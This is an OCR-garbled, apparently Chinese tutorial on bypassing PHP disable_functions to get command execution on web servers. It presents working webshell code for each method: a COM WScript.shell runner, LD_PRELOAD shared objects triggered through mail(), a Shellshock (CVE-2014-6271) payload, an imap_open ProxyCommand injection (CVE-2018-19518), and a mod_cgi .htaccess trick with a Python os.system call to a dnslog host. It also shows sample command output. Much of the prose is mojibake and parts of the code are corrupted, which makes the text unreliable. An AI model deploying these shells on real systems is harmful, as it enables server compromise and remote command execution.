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phpinfo E— T~ +Al&)

allow _url_fopen | On
allow_url_include Off
always_populate_raw_post_data -1
arg_separatorinput &
arg_separator.output

asp_tags Off
auto_append_file

auto_globals jit On
auto prepend file

browscap

default_charset UTF-8
default mimetype text/html
disable_classes
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system,shell_exec,passthru,exec,popen,proc_open,pc
ntl_exec,mail,putenv,apache_setenv,mb_send_mail,as
sert,dl,set_time_limit,ignore_user_abort,symlink,link,m
ap_open,imap_mail,ini_set,ini_alter, BESERMNZ
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MREK:

1.php.ini FELZF/Z com.allow_dcom,

extension=php_com_dotnet.dll

- allow Distributed-COM calls

- http://php.net/com.allow-dcom
com allow dcomplTe

extension=php bz2.dl|
extension=php _curl.dll
extension=php _com_dotnet.dll |

2. T£ php/ext / BEZLE php_com_dotnet.dll XX
las

1]

¥

1 php_bz2.dll
1| php_com_dotnet.dll

4 php_curldll
4 php_enchant.dll

1% php_exif.dll 015/9/3 0:17 :
1% php_fileinfo.dll 2015/9/3 0:17 S i

FIFRRE:

£ Windows ¥#EH PHP H1R COM() RERRIABIZ R
RABNRKIBTRAG L.

L& com_rce.php X, REMUT:



<?php

$command = $_GET['cmd'];

$wsh = **new** COM('WScript.shell'); // £B—1COMMHR
Shell.Applicationthge

$exec = $wsh->exec("cmd /c".$command); //TARAII&RISGENRE
$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAl1();

echo $stroutput;

7>

FIRR:

AB4-8477 D:\phpStudy BYEIS 2020/04/29 18:19
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false,

2. HIBR php/ext / B9 php_com_dotnet.dll, BALE
HREFA,

=. Linux ¥ LD_PRELOAD #&&
H42 LD _PRELOAD?

LD_PRELOAD 2 Linux &N — 1T HEZE, ERINE
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PREER:

1.Linux ARLZHEHEBERET sendmail 2%,




policy-re.d

praliases

2.error_log() 1 mail() RECKBEHZA,

FIFARE:

php B9 mail() REERITIZRREIANBRRGRER /
usr/sbin/sendmail. /usr/sbin/postdrop, i1 /
usr/sbin/sendmail 21EAA getuid(), IBAFATEL
LD_PRELOAD #h#F getuid (%1, SREEE mail R
ITEAE AR R EEFRD getuid R,

,

BEER getuid() K%Y test.c,

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int geteuid() {

const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD™);

system(cmdline);

}

F8 gcc —shared —fPIC test.c —o test.so ¥4 test.c #iF
HEHSHEEE test.so,

gituid.php

XERT putenv() BREE test.so IMAHIEL=E,



<?php

echo "<p> <b>example</b>:
http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopatt
</p>";

$cmd = $_GET["cmd"];

$out_path = $_GET["outpath"];

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mail("™™, "™, "oy,

echo "<p> <b>output</b>: <br />" . nlZ2br(file_get_coni
. </p>ty

unlink($out_path);

7>

FIFRRR:

- c
example: http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath = /var/www/html/exp.so
emdline: whoami > ftmp/yy 2>81

output:
www-data
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FIFRRE:

FEMAEEE®ET LD_PRELOAD #iF— NRZEE
SESLIN RCE, 1% sendmail REMEZATIE? WRAE
KEI—DAREMEEMNITHE, MABRZSERMITE—
RFRE, BREMTE O ARKE sendmail T,
C++ RIS R EI 2 UL

@ BinA1 22 L {& bypass_disablefunc.c:

#define _GNU_SOURCE

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{

// get command line options and arg

const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.

// unsetenv("LD_PRELOAD") no effect on some

// distribution (e.g., centos), I need crafty trick.
int 1i;

for (i = 0; environ[i]; ++1) {

if (strstr(environ[i], "LD_PRELOAD™)) {
environ[i][0] = '0";

b

ks

// executive command
system(cmdline);

}

ERERUTEQRIE C XHAHEXNRH:



gcc —shared —fPIC bypass_disablefunc.c —o

bypass_disablefunc.so

bypass_disablefunc.php

<?php

echo "<p> <b>example</b>:
http://site.com/bypass_disablefunc.php?cmd=pwd&outpatt
</p>";

$cmd = $_GET["cmd"];

$out_path = $_GET["outpath"];

$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];

putenv("LD_PRELOAD=" . $so_path);

mailC"", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_coni
. "</p>";

unlink($out_path);

7>

FIFRR:

«
examphe: hitp://site.comybypass_ disablefunc phpfomd = pwd&outpath= tmpHocsopathes fvarfwsw/bypass_disablefunc_xéd.so
emdline: id > Amp/yy 2581

output
uid= 1000{www-data) gid=S50{staff) growps = 3 3 www-data), 50{staff]
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1. XTHERELE so XHH php A, WRIE
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4. #IF Bash W% (CVE-2014-6271) J®)f@

WIREK:

Linux # Bash &/ F&FTF 4.3, BEERTRKRE

AT “env x='() { ;;}; echo vulnerable' bash —c
"echo this is a test"” MK EESFERTRE, WR
FESHE

vulnerable

this is a test

FIFARIE:

137 Bash B§% (CVE-2014-6271) B Linux FR%Z M
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ANSHEBERLE popen() 11T, MR RREIA sh 2
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MATER,

1% shellshock.php:

<?php
function shellshock($cmd) { // Execute a command via (
$tmp = tempnam(".","data");
putenv("PHP_LOL=) { x; }; $cmd >$tmp 2>&1");
mail("a@®@127.0.0.1","","","","-bv"); // -bv so we don'{
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output !'= "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
7>
AR :
- C O F=s
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1. A imap_open ERERRIFFIEST (CVE-2018-
19518) ,

HIEEX:
1. Z¥E7T PHP B imap ¥ &,

2. php.ini FFF imap.enable_insecure_rsh &I
79 On,

FIFARE:

imap_open R ENTFEIFHFE 2 FR{ERLS rsh B ssh <
AR IEMSHBFE 2R, WRBAT rsh A ssh I
BEF H rsh @s <=2 ssh s MR8, AIMREES
- oProxyCommand Z#HESE IMAP BRSS 28 AFRRF]
FALERIE.

1% imap_bypass.php:

<?php

error_reporting(0);

if (!function_exists('imap_open')) {

die("no imap_open function!™);

}

$server = "x -oProxyCommand=echot" . base64_encode($_(
">/tmp/cmd_result") . "lIbase64t-dlsh}";

//$server = 'x -oProxyCommand=echo$IFS$()' . base64_et
">/tmp/cmd_result") . 'lbase64$IFS$()-dlsh}';

imap_open('{' . $server . ':143/imap}INBOX', '', '');
var_dump("nnError: ".imap_last_error());
sleep(5);

echo file_get_contents("/tmp/cmd_result");
7>



FIFRR:
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www-data
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1. IR EZ35EAE imap HEXBIR IR ATE
php.ini RINZRKREL: imap_open().

imap_mail(). imap_rimap()

2. Ft4% PHP R, BAHX 7.1.x £ 7.1.25 R4S K
HEMEE T CVE-2018-19518 i&3H

3. I Apache mod_cgi #81{%d php.ini FEJER
il

MREK:

1.apache BREZINE T cgi_module 13k, 7 apache K
BEEXMHFREUWTAZS: LoadModule cgi_module
modules/mod_cgi.so

2. HYEIBF AT EEFHEEMT. htaccess X4, BB
FNIZET “AllowOverride all”



223 DocumentRoot "D:/phpStudy/WWW™
<Directory /=
Cptions 4+Indexes 4FollowSymLinks +ExecCGI
226 BllowCOverride All |
22 Order allow,deny
228 Allow from all
229 Bequire all granted
230 </Directory>

3. MERRZRET python (EESHIEHAILAZIN) .

FIFARE:

BIXBHAITARERER T, REMESEIIEL.
htaccess Xffit CGl 2t python BIAHITRAG S,

.htaccess BT

AddHandler cgi-script .x

Python.xAEWT:

\#!F:\\Python38\\python.exe

import os

os.system("ping hbztiu.dnslog.cn")\#SENBERITHIAR<



FIRR:

Gat SubDomain | Refrash Recor
hbztiu.dnslog.cn

DNS Query Record IP Address Created Time
hbztiu.dnslog.cn 6 2020-06-17 18:07:45
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